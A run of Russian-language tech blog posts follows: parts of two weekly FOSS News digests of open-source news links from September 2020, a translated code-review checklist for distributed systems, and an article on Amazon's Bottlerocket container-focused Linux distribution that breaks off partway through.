  3. Gentoo начал распространение универсальных сборок ядра Linux [ 1, 2]
  4. В ядре Linux из текстовой консоли удалили поддержку прокрутки текста [ 1, 2]
  5. Началось бета-тестирование FreeBSD 12.2 []
  6. Обзор Deepin 20: великолепный дистрибутив Linux стал еще красивее (и функциональнее) [ 1 (en), 2, 3]
  7. Manjaro 20.1 Mikah []
  8. Релиз дистрибутива Zorin OS 15.3 []


Безопасность



  1. Уязвимость в Firefox для Android, позволяющая управлять браузером через общий Wi-Fi []
  2. Mozilla сворачивает сервисы Firefox Send и Firefox Notes []
  3. Уязвимость в ftpd из FreeBSD, позволявшая получить root-доступ при использовании ftpchroot []
  4. WSL эксперименты (с точки зрения безопасности). Часть 1 []
  5. Зафиксирован растущий интерес злоумышленников к Linux-системам []


DevOps



  1. От Threat Modeling до безопасности AWS: 50+ open-source инструментов для выстраивания безопасности DevOps []
  2. Google добавил поддержку Kubernetes в Confidential Computing []
  3. Хранение данных в кластере Kubernetes []
  4. Как и зачем в Lyft улучшали Kubernetes CronJobs []
  5. У нас там Postgres, но я хз что с ним делать (с) []
  6. Go? Bash! Встречайте shell-operator (обзор и видео доклада с KubeCon EU'2020) []
  7. Команда поддержки систем хранения данных Bloomberg полагается на открытый исходный код и SDS []
  8. Kubernetes для тех, кому за 30. Николай Сивко (2018г) []
  9. Практический пример подключения хранилища на базе Ceph в кластер Kubernetes []
  10. Мониторинг NetApp Volumes через SSH []
  11. Краткое руководство по разработке чартов в Helm []
  12. Легкая работа со сложными алертами. Или история создания Balerter []
  13. Поддержка черных и белых списков для метрик на стороне агента в Zabbix 5.0 []
  14. Разработка и тестирование Ansible-ролей с использованием Molecule и Podman []
  15. Об удалённом обновлении устройств, включая прошивки и загрузчики, с помощью UpdateHub [ (en)]
  16. Как Nextcloud упростил процесс регистрации для децентрализованной архитектуры [ (en)]


Web



Прекращение разработки библиотеки Moment.js, имеющей 12 млн загрузок в неделю []

Для разработчиков



  1. Запущен новый сайт о платформе KDE для разработчиков []
  2. Как убрать из Git-репозитория файлы с конфиденциальной информацией []
  3. Среда разработки PHP на базе Docker []
  4. Pysa: как избежать проблем безопасности в коде Python []
  5. Опрос о состоянии Rust 2020 []
  6. 3 способа защититься от синдрома самозванца (не относится напрямую к FOSS, но опубликовано на тематическом ресурсе и вдруг кому будет полезно) [ (en)]
  7. Добавление механики броска в Python игру [ (en)]
  8. Настройка сервера управления проектами с помощью канбана Wekan на GNU/Linux [ (en)]


Пользовательское



  1. На этой неделе в KDE: Akademy творит чудеса []
  2. Как пользоваться iperf []
  3. Выбираем лучший принтер для Linux []
  4. Установка Pop OS []
  5. Обзор Ext4 vs Btrfs vs XFS []
  6. Установка Gnome Tweak Tool в Ubuntu []
  7. Релиз Twitter-клиента Cawbird 1.2.0. Что нового []
  8. Как исправить ошибку Repository is not valid yet в Ubuntu Linux? [ (en)]
  9. Как запустить несколько команд за раз в GNU/Linux терминале? (для совсем новичков) [ (en)]
  10. Линукспросвет: что такое Long Term Support (LTS) релиз? Что такое Ubuntu LTS? [ (en)]
  11. KeePassXC, отличный развиваемый сообществом открытый менеджер паролей [ (en)]
  12. Что нового в rdiff-backup после миграции на Python 3? [ (en)]
  13. Об анализе скорости запуска Linux с помощью systemd-analyze [ (en)]
  14. Об улучшении тайм-менеджмента с помощью Jupyter [ (en)]
  15. Сравнение того, как разные языки программирования решают одну модельную задачу благотворительности. Очередь Python [ (en)]


Железо



Для ноутбуков Slimbook Essential предлагается широкий выбор Linux-систем []

Разное



  1. ARM начинает поддерживать свободный драйвер Panfrost []
  2. Microsoft реализовал поддержку корневого окружения для Hyper-V на базе Linux [ 1, 2]
  3. Об управлении Raspberry Pi с помощью Ansible [ (en)]
  4. Об обучении Python с помощью Jupyter Notebooks [ (en)]
  5. 3 открытых альтернатив Confluence [ (en)]
  6. О преодолении сопротивления открытому подходу в управлении [ (en)]


Релизы



Ядро и дистрибутивы



  1. Проект Genode опубликовал выпуск ОС общего назначения Sculpt 20.08 []
  2. Осеннее обновление ALT p9 starterkits []
  3. Доступен Solaris 11.4 SRU25 []
  4. Выпуск FuryBSD 2020-Q3, Live-сборки FreeBSD с рабочими столами KDE и Xfce []


Системный софт



Выпуск драйвера NVIDIA 455.23.04 c поддержкой GPU RTX 3080 (драйвер не FOSS, но для FOSS операционных систем и важный, поэтому включён в дайджест) []

Безопасность



  1. Выпуск новой стабильной ветки Tor 0.4.4 []
  2. Компания Cisco выпустила свободный антивирусный пакет ClamAV 0.103 []


Для разработчиков



  1. Выпуск Java SE 15 []
  2. Выпуск компилятора для языка программирования Vala 0.50.0 []
  3. Выпуск сборочного инструментария Qbs 1.17 []


Специальный софт



Выпуск Magma 1.2.0, платформы для быстрого развёртывания LTE-сетей []

Мультимедиа



  1. digiKam 7.1.0. Программа для работы с фото. Что нового []
  2. Выпущены аудиоэффекты LSP Plugins 1.1.26 []
  3. Релиз программы Simplest Studio 2020 SE для оптимизации FLAC и WAV []
  4. Релиз BlendNet 0.3, дополнения для организации распределенного рендеринга []


Игры



Battle for Wesnoth 1.14.14 Битва за Веснот []

Пользовательский софт



  1. Выпуск пользовательского окружения GNOME 3.38 [ 1, 2, 3, 4, 5 (en)]
  2. Доступна бета-версия KDE Plasma 5.20 []
  3. Выпуск почтового клиента Geary 3.38 []





На этом всё, до следующего воскресенья!

Высказываю большое спасибо редакции OpenNET, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением дайджестов и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал, группу ВКонтакте или RSS чтобы не пропустить новые выпуски FOSS News.

Ещё вам может быть интересен короткий дайджест от opensource.com (en) с новостями последней недели, он практически не пересекается с моим.

Предыдущий выпуск
Подробнее..

FOSS News 35 дайджест новостей и других материалов о свободном и открытом ПО за 21-27 сентября 2020 года

25.09.2020 22:13:02 | Автор: admin


Всем привет!

Продолжаем дайджесты новостей и других материалов о свободном и открытом ПО и немного о железе. Всё самое главное про пингвинов и не только, в России и мире. Кто займётся развитием безопасности открытого ПО, как программное обеспечение с открытым исходным кодом изменило деловой мир, помощь в борьбе с коронавирусом может оказать каждый владелец ПК, вдохновлённый научной фантастикой эмулятор терминала, как поучаствовать в Open Source разработке, инициатива запрета протоколов позволяющих скрыть имя сайта и многое другое.

Этот выпуск выходит в пятницу вечером вместо воскресенья потому что в субботу утром я улетаю в долгожданный отпуск. Следующий выпуск, если всё пойдёт по плану, выйдет 5-го октября, в понедельник, вечером.

Оглавление


  1. Главное
    1. Кто займётся развитием безопасности открытого ПО обсуждаем новые проекты и их будущее
    2. Как программное обеспечение с открытым исходным кодом изменило деловой мир?
    3. Rosetta@home: Помощь в борьбе против COVID-19 с помощью вашей Linux системы
    4. eDEX-UI, вдохновлённый научной фантастикой эмулятор терминала, который мы заслужили
    5. Как поучаствовать в Open Source проекте? 8 ответов новичку
    6. В РФ намерены запретить протоколы, позволяющие скрыть имя сайта
  2. Короткой строкой
    1. Мероприятия
    2. Открытие кода и данных
    3. Новости FOSS организаций
    4. Ядро и дистрибутивы
    5. Специальное
    6. Безопасность
    7. DevOps
    8. Data Science
    9. Web
    10. Для разработчиков
    11. Общее
    12. Игры
    13. Железо
    14. Разное
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. Безопасность
    4. DevOps
    5. Web
    6. Специальный софт
    7. Мультимедиа
    8. Общий софт


Главное



Кто займётся развитием безопасности открытого ПО обсуждаем новые проекты и их будущее





1cloud в новом материале в своём блоге на Хабре пишет: В августе Linux Foundation основали фонд OpenSSF. В него вошли Core Infrastructure Initiative и Open Source Security Coalition. Их участники разработают инструментарий для поиска уязвимостей в коде и верификации программистов, участвующих в его написании. Рассказываем, что к чему. Пользу в появлении нового фонда автор видит в возможном снижении количества багов, обобщении опыта в методологиях разработки и прозрачности процесса отбора специалистов.

Подробности

Как программное обеспечение с открытым исходным кодом изменило деловой мир?





ZDnet пишет: Эрик Реймонд, один из основателей ПО с открытым исходным кодом, писал в своей основополагающей работе Собор и базар: Всякая хорошая работа [с открытым исходным кодом] начинается с того, чтобы удовлетворить личные потребности разработчика. В этом много правды. Так начинались жизненно важные программы, такие как веб-сервер Apache, MySQL и Linux, а также множество небольших программ. Но вряд ли у многих людей был личный зуд от создания гигантских вертикальных программ, таких как OpenDaylight и OPNFV для телекоммуникаций или Unified Code Base для Automotive Grade Linux (AGL). Сегодня вертикальные компании, ориентированные на узкие интересы, также с распростёртыми объятиями используют методы и программное обеспечение с открытым исходным кодом.

Подробности (en)

Rosetta@home: Помощь в борьбе против COVID-19 с помощью вашей Linux системы





Its FOSS пишет в новом материале: Хотите внести свой вклад в исследование коронавируса? Для этого не обязательно быть ученым. Вы можете отдать часть своей вычислительной мощности благодаря проекту Rosetta@home. Rosetta@home это проект распределённых вычислений для прогнозирования структуры белков, базирующийся в лаборатории Бейкера в Вашингтонском университете и работающий на платформе с открытым исходным кодом Berkeley Open Infrastructure for Network Computing (BOINC), которая изначально была разработана для поддержки SETI@home.

Подробности (en)

eDEX-UI, вдохновлённый научной фантастикой эмулятор терминала, который мы заслужили





Its FOSS рассказывает о примечательном кроссплатформенном эмуляторе терминала: eDEX-UI крутой эмулятор терминала, вдохновленный научной фантастикой, который отлично выглядит с множеством опций, таких как например мониторинг системы. Здесь мы кратко рассмотрим, что он предлагает. Вы, наверное, уже знаете множество забавных команд Linux. Знаете, что ещё может быть интересным, когда дело касается командной строки Linux? Сам терминал. Да, эмулятор терминала (обычно известный как терминал) тоже может быть довольно забавным. Помните терминал Cool Retro Term, который дает вам винтажный терминал 80-х и начала 90-х? Как насчет терминала, который во многом вдохновлен эффектами фильма TRON Legacy?.

Подробности и видеообзор (en)

Как поучаствовать в Open Source проекте? 8 ответов новичку





Tproger пишет Участие в Open Source проектах это возможность усовершенствовать свои навыки, создавая при этом что-то новое или улучшая уже существующее. Начинающие программисты могут не только пополнить багаж знаний, научиться работать с чужим кодом и получать фидбек от опытных программистов, но также пополнить портфолио первой серьёзной работой и приводит советы опытных разработчиков и других людей из IT.

Подробности

В РФ намерены запретить протоколы, позволяющие скрыть имя сайта





Тема не касается непосредственно FOSS, но весьма смежная, да и все мы (ну почти все) живём в России и последовательное ужесточение IT и не только IT законодательства касается всех. Россия в рейтинге свободы интернета по версии 2018 года ниже Гамбии и Таиланда и по версии 2019 на последнем месте в Европе. Но вернёмся собственно к теме. OpenNET пишет: Началось общественное обсуждение проекта правового акта о внесении изменений в Федеральный закон Об информации, информационных технологиях и о защите информации, разработанного Министерством цифрового развития, связи и массовых коммуникаций. В закон предложено ввести запрет на использование на территории Российской Федерации протоколов шифрования, позволяющих скрыть имя (идентификатор) Интернет-страницы или сайта в сети Интернет, за исключением случаев, установленных законодательством Российской Федерации.

Подробности

Короткой строкой



Мероприятия



10-11 октября Arch Conf Online 2020 []

Открытие кода и данных



Компания Frictional Games открыла код игр серии Amnesia [ 1, 2]

Новости FOSS организаций



  1. Linux Journal возвращается []
  2. Анонс Linux Foundation Certified IT Associate (LFCA) системы сертификации ИТ-навыков []
  3. Дайджест от RedHat: Шпаргалка по Ansible k8s, практичный учебник по awk, а также 4 причины использовать Jamstack при веб-разработке []
  4. Как меняется бизнес Docker для обслуживания миллионов разработчиков, часть 1: Хранилище []
  5. Бесплатный вводный курс по Linux превысил один миллион участников [ (en)]


Ядро и дистрибутивы



  1. Solaris перешёл на модель непрерывной доставки обновлений []
  2. eBPF: современные возможности интроспекции в Linux, или Ядро больше не черный ящик []


Специальное



Хранение знаний с помощью BlueSpice, открытой альтернативы Confluence [ (en)]

Безопасность



  1. OpenPGP переписывают на Rust: проект Sequoia []
  2. Поиск проблем безопасности в коде на Go с помощью gosec [ (en)]


DevOps



  1. Краткий обзор операторов PostgreSQL для Kubernetes, наш выбор и опыт []
  2. Выводы за год миграции GitLab.com на Kubernetes []
  3. Создание резервной копии MySQL при помощи утилиты XtraBackup []
  4. MinIo для самых маленьких []
  5. Экстракция данных из SAP HCM в non-SAP хранилища данных []
  6. Пять промахов при развертывании первого приложения на Kubernetes []
  7. Новые шаблоны в Zabbix IPMI, Mikrotik, MSSQL []
  8. Opennebula. Короткие записки []
  9. Обзор возможностей Kubespray: Отличие оригинальной версии и форка Southbridge []
  10. 3 года с Kubernetes в production: опыт компании Флант []
  11. Пять вопросов о Ceph с пояснениями []
  12. Наиболее интересные факты о Ceph по результатам опроса пользователей в 2019 году []
  13. О запуске виртуальных машин на Kubernetes с помощью KubeVirt [ (en)]
  14. 7 вещей, которые вы можете сделать с Ansible прямо сейчас [ (en)]


Data Science



  1. Защита фото от систем распознавания лиц работает? []
  2. Как трекать людей в масках или универсальный подход к трекингу объектов произвольной природы []


Web



  1. Прекращена разработка проекта uMatrix []
  2. 5 плюсов браузера Mozilla Firefox, которых нет у Google Chrome []
  3. Как использовать функцию изоляции сайтов в Firefox Nightly уже сейчас []


Для разработчиков



  1. Почему важно проводить статический анализ открытых библиотек, которые вы добавляете в свой проект []
  2. 5 вопросов, которые стоит задать себе при написании документации по проекту [ (en)]
  3. Автоматизация системных тестов на базе QEMU (Часть 1/2) []
  4. Git compare: быстрый способ сравнить две ветки []
  5. Переписывание истории репозитория кода, или почему иногда можно git push -f []
  6. Нам нужно поговорить про Linux IIO []
  7. 10 Open Source генераторов статических сайтов для создания быстрых и экономных ресурсов [ (en)]
  8. Сравнение того, как разные языки программирования решают одну модельную задачу благотворительности. Очередь Java [ (en)]


Общее



  1. Путешествие в мир Linux и Git (для новичков) []
  2. Plasma 6 сможет использовать графический API Vulkan для отрисовки рабочего окружения []
  3. Какую файловую систему выбрать для Linux []
  4. GNOME меняет нумерацию версий. Будет сразу GNOME 40 []
  5. Установка Microsoft Office в Linux []
  6. Файловая система Ext4 []
  7. Лучшие антивирусы для Linux []
  8. Как подключиться к Linux из Windows []
  9. Тестирование рабочего стола KDE Plasma 5.20 [ 1, 2, 3]
  10. Простая настройка прозрачности изображения с помощью GIMP [ (en)]
  11. Придайте своему рабочему столу GNOME мозаичный вид с помощью расширения GNOME Material Shell [ (en)]
  12. Линукспросвет: что такое rolling релиз дистрибутив? [ (en)]
  13. Какие возможности появились у утилиты rdiff-backup благодаря миграции на Python 3 (было в прошлом выпуске, но на английском, а тут перевод) []


Игры



Игра Охота на лис, созданная для микрокалькуляторов МК-61, адаптирована для Linux (олды тут? :)) []

Железо



  1. Началась предустановка Ubuntu 20.04 на устройства Lenovo ThinkPad и ThinkStation [ 1, 2, 3]
  2. Представлена платформа Precursor для создания свободных мобильных устройств [ 1, 2]
  3. Компания Mozilla отправила проект WebThing в свободное плавание []


Разное



  1. 7 прикольных команд терминалов Linux и macOS, которые заставят вас улыбнуться []
  2. Запуск Linux приложений на Chromebook с помощью Crostini [ 1, 2 (en)]
  3. Обучение детей языку Python с помощью редактора Mu [ (en)]
  4. Как создать вместе с детьми первый алгоритм с помощью Scratch [ (en)]
  5. Рассказ преподавателя о том, как учащиеся научили его программировать [ (en)]
  6. Python скрипт для симуляции вычислительной машины Бэббиджа [ (en)]
  7. Получение доверия: как занять своё место в меритократии [ (en)]


Релизы



Ядро и дистрибутивы



  1. Выпуск дистрибутива 4MLinux 34.0 [ 1, 2]
  2. Тринадцатое обновление прошивки Ubuntu Touch []
  3. Выпуск Puppy Linux 9.5, дистрибутива для устаревших компьютеров [ 1, 2]
  4. Выпуск дистрибутива KaOS 2020.09 []
  5. Выпуск дистрибутива EndeavourOS 2020.09.20, теперь доступного и для ARM-плат []
  6. SystemRescueCD 6.1.8 []
  7. Доступен CODE 6.4, дистрибутив для развёртывания LibreOffice Online []


Системный софт



Состоялся релиз Rocm 3.8.0 []

Безопасность



  1. Доступны Tor Browser 10.0 и дистрибутив Tails 4.11 []
  2. Релиз антивируса ClamAV 0.103.0 []
  3. Кандидат в релизы системы обнаружения атак Snort 3 []


DevOps



  1. Релиз СУБД PostgreSQL 13 [ 1, 2]
  2. Выпуск глобальной децентрализованной файловой системы IPFS 0.7 []
  3. Выпуск Samba 4.13.0 []


Web



  1. Выпуск Vue.js 3.0.0, фреймворка для создания пользовательских интерфейсов []
  2. Выпуск интегрированного набора интернет-приложений SeaMonkey 2.53.4 []
  3. Релиз Firefox 81 [ 1, 2, 3, 4]
  4. Обновление почтового клиента Thunderbird 78.3.0 []
  5. Выпуск Firefox Reality 12, браузера для устройств виртуальной реальности []


Специальный софт



  1. Проект Wine выпустил Vkd3d 1.2 с реализацией Direct3D 12 []
  2. Релиз системы управления коллекцией электронных книг Calibre 5.0 [ 1, 2]


Мультимедиа



Релиз редактора изображений Drawing 0.6.0 []

Общий софт



  1. Vifm 0.11 []
  2. Релиз программы для создания скриншотов Flameshot 0.8.0 []





На этом всё, до 5-го октября!

Высказываю большое спасибо OpenNET, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением дайджестов и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал, группу ВКонтакте или RSS чтобы не пропустить новые выпуски FOSS News.

Ещё вам может быть интересен короткий дайджест от opensource.com (en) с новостями последней недели, он практически не пересекается с моим.

Также стоит посмотреть новый выпуск близкого моему новостного обзора с сайта Пингвинус #24.

Предыдущий выпуск
Подробнее..

Перевод Контрольный список для ревью кода в распределенных системах

25.09.2020 18:15:34 | Автор: admin
points of view by sanja

Микросервисная архитектура широко распространена в разработке программного обеспечения. Но организации, которые ее используют, помимо сложностей в реализации бизнес-логики сталкиваются еще и с распределенными сбоями.

Ошибки распределенных вычислений хорошо документированы, но их трудно обнаружить. В результате создание крупномасштабной и надежной архитектуры распределенной системы становится сложной проблемой. Код, который отлично выглядит в монолитной системе, может стать проблемой после перевода на сетевое взаимодействие.

Команда Mail.ru Cloud Solutions перевела статью, автор которой несколько лет занимался обнаружением типовых сбоев в коде на продакшене и изучал причины, приведшие к такому результату. В статье рекомендации по проверке кода, которые автор использует в качестве базового контрольного списка.

Удаленная система выходит из строя


Независимо от того, насколько тщательно спроектирована система, в какой-то момент произойдет сбой это факт при запуске программного обеспечения в продакшен.

Сбои случаются по разным причинам: из-за ошибок, проблем в инфраструктуре, внезапного всплеска трафика, decay of neglect, но они случаются почти всегда. От того, как вызывающие модули обрабатывают ошибки, зависит устойчивость и надежность всей архитектуры:

  1. Определите путь обработки ошибок. В коде должны быть явно определены средства для обработки ошибок. Например, правильно разработанная страница ошибок, журнал исключений с метриками ошибок или автоматическое выключение с механизмом резервирования. Главное ошибки должны обрабатываться явно. Нельзя допускать, чтобы пользователи видели ошибки работы вашего кода.
  2. Составьте план восстановления. Рассмотрите каждое удаленное взаимодействие в вашем коде и выясните, что нужно сделать для восстановления прерванной работы. Запускается ли рабочий процесс с точки сбоя? Публикуются ли все полезные данные во время сбоя в таблице очередей или таблице повторов? И повторяются ли каждый раз, когда удаленная система восстанавливается? Есть ли скрипт для сравнения баз данных двух систем и их синхронизации? Системный план восстановления нужно разработать и реализовать до развертывания фактического кода.

Удаленная система медленно отвечает


Эта ситуация хуже, чем полный сбой, поскольку неизвестно, работает ли удаленная система. Поэтому для обработки этого сценария всегда нужно проверять проблемы, описанные ниже.

Некоторые из проблем можно решить прозрачно для кода приложения, если использовать технологии Service Mesh, такие как Istio. Тем не менее нужно убедиться, что такие проблемы обрабатываются вне зависимости от метода:

  1. Установите тайм-ауты для удаленных системных вызовов. Это касается и тайм-аутов для удаленного вызова API и базы данных, публикации событий. Проверьте, установлены ли конечные и разумные тайм-ауты для всех удаленных систем в вызовах. Это позволит не тратить ресурсы на ожидание, если удаленная система перестала отвечать на запросы.
  2. Используйте повторные попытки после тайм-аута. Сеть и системы ненадежны, повторные попытки обязательное условие устойчивости системы. Как правило, повторные попытки устраняют множество пробелов в межсистемном взаимодействии.

    Если возможно, используйте какой-то алгоритм в ваших попытках (фиксированный, экспоненциальный). Добавление небольшого джиттера в механизм повтора даст передышку вызываемой системе, если она под нагрузкой, и приведет к увеличению скорости ответа. Обратная сторона повторных попыток идемпотентность, о которой расскажу позже в этой статье.
  3. Применяйте автоматический размыкатель (Circuit Breaker). Существует не так много реализаций, которые поставляются с этим функционалом, например Hystrix. В некоторых компаниях пишут собственных внутренних обработчиков. Если есть возможность, обязательно используйте Circuit Breaker или инвестируйте в его создание. Четкая структура для определения запасных вариантов в случае ошибки хороший вариант.
  4. Не обрабатывайте тайм-ауты как сбои. Тайм-ауты не сбои, а неопределенные сценарии. Их следует обрабатывать способом, который поддерживает разрешение неопределенности. Стоит создавать явные механизмы разрешения, которые позволят системам синхронизироваться в случае тайм-аута. Механизмы могут варьироваться от простых сценариев согласования до рабочих процессов с отслеживанием состояния, очередей недоставленных писем и многого другого.
  5. Не вызывайте удаленные системы внутри транзакций. Когда удаленная система замедляется, вы дольше удерживаете соединение с базой данных. Это может быстро привести к исчерпанию соединений с базой данных и, как следствие, к сбою в работе вашей собственной системы.
  6. Используйте интеллектуальное пакетирование. Если работаете с большим количеством данных, выполняйте пакетные удаленные вызовы (вызовы API, чтение БД), а не последовательные это устранит нагрузку на сеть. Но помните: чем больше размер пакета, тем выше общая задержка и больше единица работы, которая может дать сбой. Так что оптимизируйте размеры пакета для производительности и отказоустойчивости.

Построение системы, которую вызывают другие системы


  1. Убедитесь, что все API идемпотентны. Это обратная сторона повторов при тайм-аутах API. Вызывающие абоненты могут повторить попытку, только если ваши API безопасны для повторения и не вызывают неожиданных побочных эффектов. Под API я имею в виду как синхронные API, так и любые интерфейсы обмена сообщениями клиент может опубликовать одно и то же сообщение дважды.
  2. Определите SLA согласованный уровень качества предоставления услуги. Потребуется SLA для времени отклика и пропускной способности, а также код для их соблюдения. В распределенных системах гораздо лучше быстро потерпеть неудачу, чем позволить абонентам ждать.

    SLA с высокой пропускной способностью сложно реализовать: ограничение распределенной скорости сама по себе сложная задача. Но стоит помнить об этом и иметь возможность обрывать вызовы, если выходите за пределы SLA. Другой важный аспект знание времени отклика нижестоящих систем, чтобы определить, какую скорость ожидать от вашей системы.
  3. Определите и ограничьте пакетирование для API-интерфейсов. Максимальные размеры пакетов явно определяют и ограничивают обещанным SLA это следствие соблюдения SLA.
  4. Подумайте заранее о наблюдаемости системы. Наблюдаемость способность анализировать поведение системы, не обращая внимания на ее внутреннее устройство. Подумайте заранее, какие метрики и данные о системе нужны, чтобы ответить на вопросы, на которые ранее невозможно было получить ответы. И продумайте инструменты для получения этих данных.

    Мощный механизм разбить логику системы на домены и публиковать события каждый раз, когда в домене происходит событие. Например, получен запрос с id = 123, возвращен ответ на запрос с id =123. Обратите внимание, как можно использовать эти два доменных события, чтобы получить новую метрику под названием время отклика. Из необработанных данных следуют заранее определенные агрегации.

Общие рекомендации


  1. Используйте агрессивное кэширование. Сеть нестабильна, поэтому кэшируйте столько данных, сколько возможно. Ваш механизм кэширования может быть удаленным, например сервер Redis, работающий на отдельной машине. По крайней мере, вы перенесете данные в свою область управления и уменьшите нагрузку на другие системы.
  2. Определите единицу сбоя. Если API или сообщение представляет несколько единиц работы (пакет), то какова единица сбоя? В случае сбоя вся полезная нагрузка выйдет из строя или, напротив, отдельные блоки будут успешны или потерпят неудачу независимо? Отвечает ли API кодом успеха или неудачей в случае частичного успеха?
  3. Изолируйте внешние доменные объекты на границе системы. Еще один пункт, который, по моему опыту, вызывает проблемы в долгосрочной перспективе. Не стоит разрешать использование доменных объектов других систем во всей вашей системе для повторного использования. Это связывает вашу систему с работоспособностью другой системы. И каждый раз, когда меняется другая система, нужно рефакторить код. Поэтому стоит создавать собственную внутреннюю схему данных и преобразовывать внешние полезные данные в эту схему. И затем использовать внутри собственной системы.

Безопасность


  1. Проверяйте ввод на каждой точке входа. В распределенной среде любая часть системы может быть скомпрометирована с точки зрения безопасности или иметь ошибки. Следовательно, каждый модуль должен проверять, что поступает ему на вход. И не предполагать, что он получит чистый, то есть безопасный ввод.
  2. Никогда не храните учетные данные в репозитории кода. Это очень частая ошибка, от которой трудно избавиться. Но учетные данные всегда следует загружать в среду выполнения системы из внешнего, предпочтительно защищенного, хранилища.

Надеюсь, вы найдете эти рекомендации полезными для сокращения количества часто встречающихся ошибок в коде распределенных систем.

Удачи!

Что еще почитать:

  1. Как спокойно спать, когда у вас облачный сервис: основные архитектурные советы.
  2. Как технический долг и лже-Agile убивают ваши проекты.
  3. Наш канале в Телеграме о цифровой трансформации.
Подробнее..

Вышел минималистичный Linux-дистрибутив Bottlerocket для запуска контейнеров. Самое главное о нём

11.09.2020 12:04:11 | Автор: admin


Компания Amazon объявила о финальном релизе Bottlerocket специализированного дистрибутива для запуска контейнеров и эффективного управления ими.

Bottlerocket (кстати, так называют мелкие самодельные ракеты на дымном порохе) не первая ОС для контейнеров, но вполне вероятно, что она получит широкое распространение благодаря дефолтной интеграции с сервисами AWS. Хотя система ориентирована на облако Amazon, открытый исходный код позволяет собрать её где угодно: локально на сервере, на Raspberry Pi, в любом конкурирующем облаке и даже в среде без контейнеров.

Это вполне достойная замена дистрибутиву CoreOS, который похоронила Red Hat.

Вообще, у подразделения Amazon Web Services уже есть Amazon Linux, который недавно вышел во второй версии: это дистрибутив общего назначения, который можно запустить в контейнере Docker или с гипервизорами Linux KVM, Microsoft Hyper-V и VMware ESXi. Он был оптимизирован для работы в облаке AWS, но с выходом Bottlerocket всем рекомендуется сделать апгрейд на новую систему, которая более безопасная, современная и потребляет меньше ресурсов.

AWS анонсировала Bottlerocket в марте 2020 года. Она сразу признала, что это не первый Linux для контейнеров, упомянув в качестве источников вдохновения CoreOS, Rancher OS и Project Atomic. Разработчики написали, что операционная система является результатом уроков, которые мы извлекли за долгое время работы производственных служб в масштабе Amazon, и с учётом опыта, который мы получили за последние шесть лет о том, как запускать контейнеры.

Экстремальный минимализм


Linux очищен от всего, что не нужно для запуска контейнеров. Такой дизайн, по словам компании, сокращает поверхность атаки.

Это означает, что в базовой системе устанавливается меньше пакетов, что упрощает поддержку и обновление ОС, а также снижает вероятность возникновения проблем из-за зависимостей, снижает использование ресурсов. В принципе, здесь всё работает внутри отдельных контейнеров, а базовая система практически голая.

Amazon также удалила все оболочки и интерпретаторы, исключив риск их использования или случайного повышения привилегий пользователями. В базовом образе ради минимализма и безопасности отсутствует командная оболочка, сервер SSH и интерпретируемые языки типа Python. Инструменты для администратора вынесены в отдельный служебный контейнер, который отключён по умолчанию.

Управление системой предусмотрено двумя способами: через API и оркестровку.

Вместо менеджера пакетов, который обновляет отдельные части программного обеспечения, Bottlerocket загружает полный образ файловой системы и перезагружается в него. В случае сбоя загрузки он автоматически откатывается, а сбой рабочей нагрузки может инициировать откат вручную (команда через API).

Фреймворк TUF (The Update Framework) загружает обновления на основе образов в альтернативные или размонтированные разделы. Под систему выделяется два дисковых раздела, один из которых содержит активную систему, а на второй копируется обновление. При этом корневой раздел монтируется в режиме только для чтения, а раздел /etc монтируется с файловой системой в оперативной памяти tmpfs и восстанавливает исходное состояние после перезапуска. Прямое изменение конфигурационных файлов в /etc не поддерживается: для сохранения настроек следует использовать API или выносить функциональность в отдельные контейнеры.


Схема обновления через API

Безопасность


Контейнеры создаются штатными механизмами ядра Linux cgroups, пространства имён и seccomp, а в качестве системы принудительного контроля доступа, то есть для дополнительной изоляции используется SELinux в режиме "enforcing".

По умолчанию включены политики для разделения ресурсов между контейнерами и ядром. Бинарники защищены флагами, чтобы пользователи или программы не могли их выполнять. И если кто-то добрался до файловой системы, Bottlerocket предлагает инструмент для проверки и отслеживания любых внесённых изменений.

Режим проверенной загрузки реализован через функцию device-mapper-verity (dm-verity), которая проверяет целостность корневого раздела во время загрузки. AWS описывает dm-verity как функцию ядра Linux, обеспечивающую проверку целостности, чтобы предотвратить работу зловредов в ОС, таких как перезапись основного системного программного обеспечения.

Также в системе присутствует фильтр eBPF (extended BPF, разработка Алексея Старовойтова), который позволяет заменять модули ядра более безопасными программами BPF для низкоуровневых системных операций.

Модель выполнения Задаётся пользователем Компиляция Безопасность Режим сбоя Доступ к ресурсам
Юзер задача да любая права пользователей прерывание выполнения системный вызов, fault
Ядро задача нет статическая нет паника ядра прямой
BPF событие да JIT, CO-RE верификация, JIT сообщение об ошибке ограниченные хелперы

Отличие BPF от обычного кода уровня пользователя или ядра, источник

AWS заявила, что Bottlerocket применяет операционную модель, которая ещё больше повышает безопасность, препятствуя подключению к продакшн-серверам с привилегиями администратора, и подходит для больших распределённых систем, в которых ограничен контроль над каждым отдельным хостом.

Для системных администраторов предусмотрен контейнер администратора. Но AWS не думает, что админу часто придется работать внутри Bottlerocket: Акт входа в отдельный инстанс Bottlerocket предназначен для нечастых операций: расширенной отладки и устранения неполадок, пишут разработчики.

Язык Rust


Инструментарий ОС поверх ядра в основном написан на Rust. Этот язык по своей природе уменьшает вероятность небезопасного доступа к памяти, а также устраняет условия гонки между потоками.

При сборке по умолчанию применяются флаги --enable-default-pie и --enable-default-ssp для включения рандомизации адресного пространства исполняемых файлов (position-independent executable, PIE) и защиты от переполнения стека.

Для пакетов на C/C++ дополнительно включаются флаги -Wall, -Werror=format-security, -Wp,-D_FORTIFY_SOURCE=2, -Wp,-D_GLIBCXX_ASSERTIONS и -fstack-clash-protection.

Кроме Rust и C/C++, некоторые пакеты написаны на языке Go.

Интеграция с сервисами AWS


Отличие от аналогичных контейнерных операционных систем заключается в том, что Amazon оптимизировала Bottlerocket для работы на AWS и интеграции с другими сервисами AWS.

Самым популярным оркестратором контейнеров является Kubernetes, поэтому AWS внедрила интеграцию с собственным Enterprise Kubernetes Service (EKS). Инструменты для оркестровки идут в отдельном управляющем контейнере bottlerocket-control-container, который включён по умолчанию и управляется через API и AWS SSM Agent.

